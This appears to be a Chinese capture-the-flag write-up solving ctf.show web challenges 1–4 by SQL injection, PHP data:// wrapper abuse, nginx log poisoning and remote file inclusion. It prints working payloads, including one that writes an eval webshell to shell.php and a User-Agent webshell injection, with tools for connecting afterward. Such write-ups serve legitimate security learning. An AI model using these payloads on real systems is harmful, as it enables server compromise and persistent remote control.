题目网站https://ctf.show
1.web签到题
直接源代码查看
2.web2
直接尝试万能密码,登陆成功
order by查找回显数
在3时正常回显,4是无回显,说明回显数为3
使用union select 联合查询爆库名
爆表名
爆字段
爆flag值
3.web3
打开网站提示输入url,测试/etc/passwd成功显示,应为文件包含漏洞
第一种方法:
php伪协议中的data通过通配符查找目录下的所有文件
url=data://text/plain,<?php print_r(glob("*")); ?>
得到 ctf_go_go_go
直接访问得flag
第二种方法:
写入一句话菜刀连接
url=data:text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['hack']);?>")?>
附:常见的php伪协议及用法
web4
页面同上一题
尝试相同的解法,发现过滤了php。但是/etc/passwd依然可以显示,猜测仍为文件包含漏洞,尝试其他利用方式。
第一种:日志包含
通过查看请求头可以知道服务器为nginx,nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log,其中access.log可以打开。
为了防止url编码,需要在burp中修改UA为<?php eval($_POST['hack']);?>
接着菜刀或蚁剑连接。
第二种:远程文件包含
使用自己的公网地址,或者可以在这个网站免费注册域名https://natapp.cn/,将端口映射到本地的80端口上,打开自己电脑上的服务器,将一句话文件写入,直接菜刀连接。